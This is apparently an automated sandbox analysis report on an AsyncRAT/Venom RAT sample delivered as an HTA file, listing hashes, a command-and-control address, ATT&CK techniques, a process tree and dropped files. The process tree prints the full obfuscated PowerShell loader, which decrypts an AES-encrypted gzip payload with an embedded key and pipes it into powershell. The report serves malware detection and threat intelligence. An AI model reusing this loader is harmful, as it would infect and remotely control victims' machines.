asyncrat | 3f04d3267f818beec7a5f29a7780282bdf862a71669230b796b77700a494b55d

Analysis

max time kernel
12s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
10-01-2024 21:28

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Report Analysis Logs

General

Target

163.5.169.28/SCAN-atoletter5.hta
Size

1.1MB
MD5

415d6911c9a6e92b5d3f050668592357
SHA1

3f5ddfb1475a25201e443c61e31382100e8ddbae
SHA256

87b6bcaa19c9631310bb28100e1ed2c9f2b982fa5aaef48186da150d8d1c4ac3
SHA512

6b322e26c4724efa648713c665d6eddc4f2191d9f3a7764076ae8fc8d5f13fd2301238e7aade65b49db71b0ecadd9333af42cfa7e98ae54b554a99eafc45a055
SSDEEP

1536:zA8mj3XPCeaTTQT7L/1rTrZwsvCPA68WStimr/l1vcmafSIm+lIWFiWCK4vLwwlY:zA8mrfFITQTH/1rTrZ/CPArtQ

Score

10^/10

asyncrat default rat

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.2

Botnet

Default

5.182.87.154:4449

Mutex

jiqsvporltpvroy

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1628	powershell.exe
1628	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1628	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3488 wrote to memory of 1628	3488	mshta.exe	90
PID 3488 wrote to memory of 1628	3488	mshta.exe	90
PID 3488 wrote to memory of 1628	3488	mshta.exe	90
PID 1628 wrote to memory of 1444	1628	powershell.exe	113
PID 1628 wrote to memory of 1444	1628	powershell.exe	113
PID 1628 wrote to memory of 1444	1628	powershell.exe	113
PID 1444 wrote to memory of 4728	1444	CompPkgSrv.exe	96
PID 1444 wrote to memory of 4728	1444	CompPkgSrv.exe	96
PID 1444 wrote to memory of 4728	1444	CompPkgSrv.exe	96
PID 1444 wrote to memory of 3464	1444	CompPkgSrv.exe	115
PID 1444 wrote to memory of 3464	1444	CompPkgSrv.exe	115
PID 1444 wrote to memory of 3464	1444	CompPkgSrv.exe	115

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\163.5.169.28\SCAN-atoletter5.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3488
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $yZFZU = 'AAAAAAAAAAAAAAAAAAAAABE/loWPunGVG3vSzIF+4gYYuSdi25LjA3R2sRH3ANApHSXuf8bMyC29pivChWpQUF5jwS5PApifdJjbv9vkn9DXSM/2JUYmdCYx5xVByfj6pJkMegF8zwFSo8ZK3if0l/4GDPyqshuCBy2VboNRKWl2p1X2wR5J/tGkqskOVoRV3QhNnczAnEf7CRFM1Is/fdf8XSHRubMBIegNiKhoMT1yK8XvCRkWspIFFLru1FAD1Tg8XS8hfxzJUo+IMPHy+J5oTh+lTZwOZakD7TqP4Xzzik8o63NllXciiYBuevivvXZZr+HcVIgajF1z3oX4UsK+7MGliiTTvOJi1VOFAs78fIyHSsOZILhUXxYy7eZCv6zcnay7/rblIpr37qEjWFrFTxJrDCWp9YtfLzZc7b92SprQ5byOTP7PWUhcfuxubcAZXSaei2P6+m8vsNlMODSdhRkDYjzzdvO4sxrk0K6z/maPnACOkYyHI31Y8T1dYS7bXlq67DvZCqMUKg0rsj57gecSAFYjJEjQWAKcsBsRFffl9H53XWNqeXBuKXZxxa0ynQYXAcFtg9xVpjNBjS2+dkWCgPzYxTbP2CyH+Rq++bYuh6VceUfqx+txd5dRFF66O86UOmD+UADlA493qnFc7E8MNauW7Xe2rE83WcmgDH2dlqTL08iguTVfV5/fdb2BOrX7G2jBgqdD5nYvk3+8CVRlLEshXPMD8nMvXD+kdwOoH2QrJshtBLc71bgjc9yTWJFCQU0kVOUCuFP6VmmNHo2lHZ5qqsXgvDfKKalBncPVo5+5vvLnNCMTeOItEFo/OuvVdc7dryTs3ZI5GPGkyiys6MpgGWIVfP9LPNm3mr6ZHiFETvBOcE0bJsJmPvPeL8rQGUGdZdZ1hbrIzo/8rBWelUO2l4N6Fvh2sSVcyxQeAGRdUNs0c7I+WzywCuWFVtVQyKA3uyPZP9DpQiy2D598sKkcFbMNZQ7wMpZKNLYqysKmEr4OwnHBYs4WhQCGPFPt2RkbwPLeqi25Qw==';$UmUBU = 'THVtZ1BydlRUVHNScG5hU0plckh1cmtOUHlBclZZblo=';$PaMSUA = New-Object 'System.Security.Cryptography.AesManaged';$PaMSUA.Mode = [System.Security.Cryptography.CipherMode]::ECB;$PaMSUA.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$PaMSUA.BlockSize = 128;$PaMSUA.KeySize = 256;$PaMSUA.Key = [System.Convert]::FromBase64String($UmUBU);$UiOuV = [System.Convert]::FromBase64String($yZFZU);$GvFGJiWe = $UiOuV[0..15];$PaMSUA.IV = $GvFGJiWe;$JMerDVEst = $PaMSUA.CreateDecryptor();$LmLcRliha = $JMerDVEst.TransformFinalBlock($UiOuV, 16, $UiOuV.Length - 16);$PaMSUA.Dispose();$nJoMQCa = New-Object System.IO.MemoryStream( , $LmLcRliha );$QIpvRfP = New-Object System.IO.MemoryStream;$sWecTZomO = New-Object System.IO.Compression.GzipStream $nJoMQCa, ([IO.Compression.CompressionMode]::Decompress);$sWecTZomO.CopyTo( $QIpvRfP );$sWecTZomO.Close();$nJoMQCa.Close();[byte[]] $XhBgIX = $QIpvRfP.ToArray();$oKWZi = [System.Text.Encoding]::UTF8.GetString($XhBgIX);$oKWZi | powershell - }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1628
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c powershell.exe $yZFZU = 'AAAAAAAAAAAAAAAAAAAAABE/loWPunGVG3vSzIF+4gYYuSdi25LjA3R2sRH3ANApHSXuf8bMyC29pivChWpQUF5jwS5PApifdJjbv9vkn9DXSM/2JUYmdCYx5xVByfj6pJkMegF8zwFSo8ZK3if0l/4GDPyqshuCBy2VboNRKWl2p1X2wR5J/tGkqskOVoRV3QhNnczAnEf7CRFM1Is/fdf8XSHRubMBIegNiKhoMT1yK8XvCRkWspIFFLru1FAD1Tg8XS8hfxzJUo+IMPHy+J5oTh+lTZwOZakD7TqP4Xzzik8o63NllXciiYBuevivvXZZr+HcVIgajF1z3oX4UsK+7MGliiTTvOJi1VOFAs78fIyHSsOZILhUXxYy7eZCv6zcnay7/rblIpr37qEjWFrFTxJrDCWp9YtfLzZc7b92SprQ5byOTP7PWUhcfuxubcAZXSaei2P6+m8vsNlMODSdhRkDYjzzdvO4sxrk0K6z/maPnACOkYyHI31Y8T1dYS7bXlq67DvZCqMUKg0rsj57gecSAFYjJEjQWAKcsBsRFffl9H53XWNqeXBuKXZxxa0ynQYXAcFtg9xVpjNBjS2+dkWCgPzYxTbP2CyH+Rq++bYuh6VceUfqx+txd5dRFF66O86UOmD+UADlA493qnFc7E8MNauW7Xe2rE83WcmgDH2dlqTL08iguTVfV5/fdb2BOrX7G2jBgqdD5nYvk3+8CVRlLEshXPMD8nMvXD+kdwOoH2QrJshtBLc71bgjc9yTWJFCQU0kVOUCuFP6VmmNHo2lHZ5qqsXgvDfKKalBncPVo5+5vvLnNCMTeOItEFo/OuvVdc7dryTs3ZI5GPGkyiys6MpgGWIVfP9LPNm3mr6ZHiFETvBOcE0bJsJmPvPeL8rQGUGdZdZ1hbrIzo/8rBWelUO2l4N6Fvh2sSVcyxQeAGRdUNs0c7I+WzywCuWFVtVQyKA3uyPZP9DpQiy2D598sKkcFbMNZQ7wMpZKNLYqysKmEr4OwnHBYs4WhQCGPFPt2RkbwPLeqi25Qw==';$UmUBU = 'THVtZ1BydlRUVHNScG5hU0plckh1cmtOUHlBclZZblo=';$PaMSUA = New-Object 'System.Security.Cryptography.AesManaged';$PaMSUA.Mode = [System.Security.Cryptography.CipherMode]::ECB;$PaMSUA.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$PaMSUA.BlockSize = 128;$PaMSUA.KeySize = 256;$PaMSUA.Key = [System.Convert]::FromBase64String($UmUBU);$UiOuV = [System.Convert]::FromBase64String($yZFZU);$GvFGJiWe = $UiOuV[0..15];$PaMSUA.IV = $GvFGJiWe;$JMerDVEst = $PaMSUA.CreateDecryptor();$LmLcRliha = $JMerDVEst.TransformFinalBlock($UiOuV, 16, $UiOuV.Length - 16);$PaMSUA.Dispose();$nJoMQCa = New-Object System.IO.MemoryStream( , $LmLcRliha );$QIpvRfP = New-Object System.IO.MemoryStream;$sWecTZomO = New-Object System.IO.Compression.GzipStream $nJoMQCa, ([IO.Compression.CompressionMode]::Decompress);$sWecTZomO.CopyTo( $QIpvRfP );$sWecTZomO.Close();$nJoMQCa.Close();[byte[]] $XhBgIX = $QIpvRfP.ToArray();$oKWZi = [System.Text.Encoding]::UTF8.GetString($XhBgIX);$oKWZi | powershell -
    3⤵
    PID:1444

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -
1⤵
PID:3464
- C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
  "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\SCAN-atoletter5.pdf"
  2⤵
  PID:3588
- - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
    3⤵
    PID:4704
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=07748823BD5D778384453806FBB0BA60 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=07748823BD5D778384453806FBB0BA60 --renderer-client-id=2 --mojo-platform-channel-handle=1776 --allow-no-sandbox-job /prefetch:1
      4⤵
      PID:2092
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=036C4AC04809167F6F4D875F0A123E5C --mojo-platform-channel-handle=1760 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
      4⤵
      PID:4904
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=977CBCE07E3FF1B6183BDA0B0871AFEF --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=977CBCE07E3FF1B6183BDA0B0871AFEF --renderer-client-id=4 --mojo-platform-channel-handle=2160 --allow-no-sandbox-job /prefetch:1
      4⤵
      PID:1868
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=F59B6AEC370137E63E8FE001BE6A5B54 --mojo-platform-channel-handle=2560 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
      4⤵
      PID:2596
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=3CEDF23A7587B578A79CAC5E7E12B700 --mojo-platform-channel-handle=2568 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
      4⤵
      PID:3464
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=669A3A96E1CA2888D802B79ADC029C43 --mojo-platform-channel-handle=1964 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
      4⤵
      PID:60

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe $yZFZU = 'AAAAAAAAAAAAAAAAAAAAABE/loWPunGVG3vSzIF+4gYYuSdi25LjA3R2sRH3ANApHSXuf8bMyC29pivChWpQUF5jwS5PApifdJjbv9vkn9DXSM/2JUYmdCYx5xVByfj6pJkMegF8zwFSo8ZK3if0l/4GDPyqshuCBy2VboNRKWl2p1X2wR5J/tGkqskOVoRV3QhNnczAnEf7CRFM1Is/fdf8XSHRubMBIegNiKhoMT1yK8XvCRkWspIFFLru1FAD1Tg8XS8hfxzJUo+IMPHy+J5oTh+lTZwOZakD7TqP4Xzzik8o63NllXciiYBuevivvXZZr+HcVIgajF1z3oX4UsK+7MGliiTTvOJi1VOFAs78fIyHSsOZILhUXxYy7eZCv6zcnay7/rblIpr37qEjWFrFTxJrDCWp9YtfLzZc7b92SprQ5byOTP7PWUhcfuxubcAZXSaei2P6+m8vsNlMODSdhRkDYjzzdvO4sxrk0K6z/maPnACOkYyHI31Y8T1dYS7bXlq67DvZCqMUKg0rsj57gecSAFYjJEjQWAKcsBsRFffl9H53XWNqeXBuKXZxxa0ynQYXAcFtg9xVpjNBjS2+dkWCgPzYxTbP2CyH+Rq++bYuh6VceUfqx+txd5dRFF66O86UOmD+UADlA493qnFc7E8MNauW7Xe2rE83WcmgDH2dlqTL08iguTVfV5/fdb2BOrX7G2jBgqdD5nYvk3+8CVRlLEshXPMD8nMvXD+kdwOoH2QrJshtBLc71bgjc9yTWJFCQU0kVOUCuFP6VmmNHo2lHZ5qqsXgvDfKKalBncPVo5+5vvLnNCMTeOItEFo/OuvVdc7dryTs3ZI5GPGkyiys6MpgGWIVfP9LPNm3mr6ZHiFETvBOcE0bJsJmPvPeL8rQGUGdZdZ1hbrIzo/8rBWelUO2l4N6Fvh2sSVcyxQeAGRdUNs0c7I+WzywCuWFVtVQyKA3uyPZP9DpQiy2D598sKkcFbMNZQ7wMpZKNLYqysKmEr4OwnHBYs4WhQCGPFPt2RkbwPLeqi25Qw==';$UmUBU = 'THVtZ1BydlRUVHNScG5hU0plckh1cmtOUHlBclZZblo=';$PaMSUA = New-Object 'System.Security.Cryptography.AesManaged';$PaMSUA.Mode = [System.Security.Cryptography.CipherMode]::ECB;$PaMSUA.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$PaMSUA.BlockSize = 128;$PaMSUA.KeySize = 256;$PaMSUA.Key = [System.Convert]::FromBase64String($UmUBU);$UiOuV = [System.Convert]::FromBase64String($yZFZU);$GvFGJiWe = $UiOuV[0..15];$PaMSUA.IV = $GvFGJiWe;$JMerDVEst = $PaMSUA.CreateDecryptor();$LmLcRliha = $JMerDVEst.TransformFinalBlock($UiOuV, 16, $UiOuV.Length - 16);$PaMSUA.Dispose();$nJoMQCa = New-Object System.IO.MemoryStream( , $LmLcRliha );$QIpvRfP = New-Object System.IO.MemoryStream;$sWecTZomO = New-Object System.IO.Compression.GzipStream $nJoMQCa, ([IO.Compression.CompressionMode]::Decompress);$sWecTZomO.CopyTo( $QIpvRfP );$sWecTZomO.Close();$nJoMQCa.Close();[byte[]] $XhBgIX = $QIpvRfP.ToArray();$oKWZi = [System.Text.Encoding]::UTF8.GetString($XhBgIX);$oKWZi
1⤵
PID:4728

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
- Suspicious use of WriteProcessMemory
PID:1444

C:\Users\Admin\AppData\Roaming\fd1.exe
C:\Users\Admin\AppData\Roaming\fd1.exe
1⤵
PID:3196
- C:\Users\Admin\AppData\Roaming\fd1.exe
  C:\Users\Admin\AppData\Roaming\fd1.exe
  2⤵
  PID:5748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
36KB

MD5
b30d3becc8731792523d599d949e63f5

SHA1
19350257e42d7aee17fb3bf139a9d3adb330fad4

SHA256
b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3

SHA512
523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
56KB

MD5
752a1f26b18748311b691c7d8fc20633

SHA1
c1f8e83eebc1cc1e9b88c773338eb09ff82ab862

SHA256
111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131

SHA512
a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
64KB

MD5
d985214b5bfc573421cb6c05973acd0e

SHA1
825a630d5551d5af292c33f077c6299b661d725a

SHA256
00f97c7d7b529d384096264afac495ab7e2f38c823354035956446dee484f877

SHA512
9f2f3805f895f6add75950f5ba65e1c2bfe6143bc0a42be7b4d37c4ea750c941ebf58f0bc563115c509972e8c60538ae480df2c14114cd5633a9846bd5fa0ab0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\fd1.exe.log

Filesize
1KB

MD5
9f5d0107d96d176b1ffcd5c7e7a42dc9

SHA1
de83788e2f18629555c42a3e6fada12f70457141

SHA256
d0630b8466cebaaf92533826f6547b6f36a3c480848dc38d650acd52b522a097

SHA512
86cfaa3327b59a976ddd4a5915f3fe8c938481344fcbd10e7533b4c5003673d078756e62435940471658a03504c3bc30603204d6a133727a3f36c96d08714c61

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
def65711d78669d7f8e69313be4acf2e

SHA1
6522ebf1de09eeb981e270bd95114bc69a49cda6

SHA256
aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c

SHA512
05b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
15KB

MD5
798dab2a24780f528dad98bda99ebba9

SHA1
3257d77a398c666ac65c900c317869b2976c5015

SHA256
8f056baf6016dacbb594ee6f39424b0b634531fb6b919f7459a65dc78d4f122d

SHA512
47db162cf13c19a9ce5f8457f72e6d6529db04583c34a82c18310f6f0a4a098ab7d9cae3f8f52ba24dfd79dbf263f342318207a61a7c7e588a836e0c3bbd5950

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v5uyhtle.lnz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\fd1.exe

Filesize
1KB

MD5
f04ac35881166aac6c1999826e99fdb6

SHA1
6711841bed83fb9ca28daa158d1c7b61dfdcc699

SHA256
17a0bd2e790a9b7ca4ed6a146ea6676716a09cfc437893f4817d1befb09978c2

SHA512
60f004e7cede3a4134fa88e597c84462ebfd195b768ae5519d21f860207e2038fab2ed510fb89d2bdee9f6384d57c1c0a467f1a607227e45385e220bdd669dc2

Download Submit
C:\Users\Admin\AppData\Roaming\fd1.exe

Filesize
22KB

MD5
48981bddc72a78b3a80b8fdd7b2d05f9

SHA1
e08307aa2b5d898dd9dbaff43a664b87cb8ed158

SHA256
85349f8eedc2c9f43a2f9e5301f6244546656bc1bbdaba6edfefd477a112d973

SHA512
07aad200bc7c13e428e77a913f764ce196ad29e1a0a0a270a788c4b2b6d4d804ceeb1cacd663db2ef01188671e9828c69e1d9ed53c74a78ab4fba8a0c1103c96

Download Submit
C:\Users\Admin\AppData\Roaming\fd1.exe

Filesize
9KB

MD5
f0bb709aae707fa00d99f202b6936f44

SHA1
4bc4092dc166eb67552aa86aeaa76a2d6ed7926c

SHA256
4ee53f57e790f533f70dbc1a551e270ac554d18826e9d5cefbbe049fe8ab810f

SHA512
f4f0a0234c7db870439b10ca76aacebf42fda91d76130bf7d1c46eb0c913b58176e1a5b2dde94d7a9181f0588858db008ad8f4e8165ca51db3db6be6f211d6a7

Download Submit
C:\Users\Admin\SCAN-atoletter5.pdf

Filesize
169KB

MD5
c5de2a211a2580c04d1b5349651d3e4a

SHA1
81a25e710c7dc63b10220dbdf39dc48ff11da5f3

SHA256
